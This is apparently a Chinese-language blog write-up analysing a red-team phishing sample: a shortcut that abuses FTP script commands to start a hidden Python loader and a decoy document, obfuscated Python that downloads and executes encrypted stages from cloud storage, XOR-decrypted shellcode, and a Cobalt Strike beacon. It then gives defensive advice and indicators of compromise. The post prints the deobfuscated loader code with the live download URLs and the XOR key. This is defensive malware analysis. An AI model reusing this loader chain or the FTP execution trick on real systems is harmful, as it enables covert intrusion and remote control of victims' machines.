记录自己的第一次红队钓鱼样本分析
字数 1654 2025-08-24 07:48:09

红队钓鱼样本分析技术详解

一、样本概述

这是一个典型的红队钓鱼攻击样本,通过精心设计的攻击链实现恶意代码执行。样本采用多种技术手段规避检测,包括:

  • 利用FTP协议特性执行系统命令
  • Python环境打包
  • 多层混淆与加密
  • 远程分离加载
  • Shellcode动态解密
  • Cobalt Strike Beacon植入

二、样本初始执行分析

1. 样本组成

解压后包含:

  • 一个快捷方式文件
  • 一个包含Python环境的文件夹

2. FTP协议滥用

快捷方式利用了FTP协议的冷门特性:

ftp -s:WeChatWin.dll

其中WeChatWin.dll实际包含FTP命令:

!start /b pythonw.exe main.pyw
!start encrypted.docx
bye

技术要点:

  • !符号可在FTP中直接执行系统命令
  • -s:<文件>参数可执行文件中的FTP命令
  • start /b以后台模式启动程序
  • pythonw.exe是无窗口Python解释器
  • 同时打开加密Word文档作为诱饵

三、Python阶段分析

1. 主脚本结构

main.pyw导入action.py模块,后者经过混淆处理。

2. 混淆代码分析

原始混淆代码使用了多层技术:

  • 变量名混淆(OO00O0OO00OO00OO0等)
  • 字符串加密
  • 代码逻辑拆分

使用AI还原后核心功能:

import ast
import ctypes
import urllib.request
import base64
import ssl

# 禁用SSL验证
ssl._create_default_https_context = ssl._create_unverified_context

# 从阿里云OSS下载加密脚本
encrypted_script_data = urllib.request.urlopen(
    'https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB'
).read()

# XOR解密函数
def xor_decrypt(data, key):
    decrypted_data = bytearray(len(data))
    for i in range(len(data)):
        decrypted_data[i] = data[i] ^ key[i % len(key)]
    return bytes(decrypted_data)

# 自定义Base64解码
def extract_base64_string(encoded_string):
    base64_string = ""
    # 每4字符取1字符构建真实Base64
    for i in range(3, len(encoded_string), 4):
        base64_string += encoded_string[i]
    return base64.b64decode(base64_string).decode()

# 反序列化执行类
class A(object):
    def __reduce__(self):
        return (exec, (decoded_script,))

# 执行解密后的脚本
decoded_script = extract_base64_string(encrypted_script_data.decode())
encrypted_key = "tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
decoded_key = extract_base64_string(encrypted_key)
exec(compile(ast.parse(decoded_key, mode='exec'), filename="<string>", mode="exec"))

3. 关键攻击技术

  1. 远程分离加载:从阿里云OSS下载加密的第二阶段脚本
  2. 多层加密
    • 自定义Base64编码(每4字符取1字符)
    • XOR异或加密
  3. 反序列化利用:通过重写__reduce__方法实现代码执行
  4. AST解析执行:避免直接使用eval,增加隐蔽性

四、Shellcode分析

1. Shellcode获取

攻击者从另一个OSS存储桶下载加密的Shellcode:

encrypted_data = urllib.request.urlopen(
    'https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b'
).read()

解密代码:

key = b'BVJgJShZbeqfrqHjp'
decoded_data = base64.b64decode(encrypted_data)
sc = xor_decrypt(decoded_data, key)

2. Shellcode特征

  • E8开头,典型SGN编码特征
  • 使用CALL指令作为入口点
  • 运行时动态解密

3. 内存Dump技术

在调试器中:

  1. LoadLibraryA下断点
  2. 运行至断点时,内存中可见PE文件特征(MZ头)
  3. 从内存中Dump完整Beacon

4. Cobalt Strike特征

使用CobaltStrikeParser解析后确认:

  • C2通信使用阿里云CDN
  • 采用域前置技术隐藏真实C2
  • Beacon具备完整功能

五、基础设施分析

1. 使用的CDN

  • 阿里云OSS(成都区域):n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com
  • 阿里云OSS(乌兰察布区域):acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com

2. 域名特征

  • 已备案域名,增加可信度
  • 使用CDN隐藏真实IP
  • 疑似采用域前置技术

六、防御建议

1. 检测层面

  1. 监控异常FTP命令执行
  2. 检测Pythonw.exe异常启动
  3. 拦截对云存储桶的可疑访问
  4. 检测内存中的MZ头异常出现

2. 防护层面

  1. 禁用不必要的协议命令(如FTP的!命令)
  2. 限制Python解释器执行权限
  3. 阻断可疑CDN域名访问
  4. 启用SSL证书验证

3. 响应层面

  1. 收集相关IOC(URL、哈希等)
  2. 检查内存中是否存在Beacon
  3. 追溯攻击链各阶段

七、IOC(入侵指标)

类型
URL https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB
URL https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b
XOR Key BVJgJShZbeqfrqHjp
技术 FTP命令执行、Python混淆、SGN编码、Cobalt Strike

八、总结

该攻击样本展示了高级红队攻击的典型特征:

  1. 利用冷门协议特性绕过检测
  2. 多层加密与混淆
  3. 远程分离加载
  4. 内存驻留技术
  5. 专业C2框架使用

防御此类攻击需要纵深防御策略,重点关注异常行为检测而非单纯依赖特征匹配。

红队钓鱼样本分析技术详解 一、样本概述 这是一个典型的红队钓鱼攻击样本,通过精心设计的攻击链实现恶意代码执行。样本采用多种技术手段规避检测,包括: 利用FTP协议特性执行系统命令 Python环境打包 多层混淆与加密 远程分离加载 Shellcode动态解密 Cobalt Strike Beacon植入 二、样本初始执行分析 1. 样本组成 解压后包含: 一个快捷方式文件 一个包含Python环境的文件夹 2. FTP协议滥用 快捷方式利用了FTP协议的冷门特性: 其中 WeChatWin.dll 实际包含FTP命令: 技术要点: ! 符号可在FTP中直接执行系统命令 -s:<文件> 参数可执行文件中的FTP命令 start /b 以后台模式启动程序 pythonw.exe 是无窗口Python解释器 同时打开加密Word文档作为诱饵 三、Python阶段分析 1. 主脚本结构 main.pyw 导入 action.py 模块,后者经过混淆处理。 2. 混淆代码分析 原始混淆代码使用了多层技术: 变量名混淆(OO00O0OO00OO00OO0等) 字符串加密 代码逻辑拆分 使用AI还原后核心功能: 3. 关键攻击技术 远程分离加载 :从阿里云OSS下载加密的第二阶段脚本 多层加密 : 自定义Base64编码(每4字符取1字符) XOR异或加密 反序列化利用 :通过重写 __reduce__ 方法实现代码执行 AST解析执行 :避免直接使用 eval ,增加隐蔽性 四、Shellcode分析 1. Shellcode获取 攻击者从另一个OSS存储桶下载加密的Shellcode: 解密代码: 2. Shellcode特征 以 E8 开头,典型SGN编码特征 使用CALL指令作为入口点 运行时动态解密 3. 内存Dump技术 在调试器中: 对 LoadLibraryA 下断点 运行至断点时,内存中可见PE文件特征(MZ头) 从内存中Dump完整Beacon 4. Cobalt Strike特征 使用CobaltStrikeParser解析后确认: C2通信使用阿里云CDN 采用域前置技术隐藏真实C2 Beacon具备完整功能 五、基础设施分析 1. 使用的CDN 阿里云OSS(成都区域):n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com 阿里云OSS(乌兰察布区域):acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com 2. 域名特征 已备案域名,增加可信度 使用CDN隐藏真实IP 疑似采用域前置技术 六、防御建议 1. 检测层面 监控异常FTP命令执行 检测Pythonw.exe异常启动 拦截对云存储桶的可疑访问 检测内存中的MZ头异常出现 2. 防护层面 禁用不必要的协议命令(如FTP的 !命令) 限制Python解释器执行权限 阻断可疑CDN域名访问 启用SSL证书验证 3. 响应层面 收集相关IOC(URL、哈希等) 检查内存中是否存在Beacon 追溯攻击链各阶段 七、IOC(入侵指标) | 类型 | 值 | |------|----| | URL | https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB | | URL | https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b | | XOR Key | BVJgJShZbeqfrqHjp | | 技术 | FTP命令执行、Python混淆、SGN编码、Cobalt Strike | 八、总结 该攻击样本展示了高级红队攻击的典型特征: 利用冷门协议特性绕过检测 多层加密与混淆 远程分离加载 内存驻留技术 专业C2框架使用 防御此类攻击需要纵深防御策略,重点关注异常行为检测而非单纯依赖特征匹配。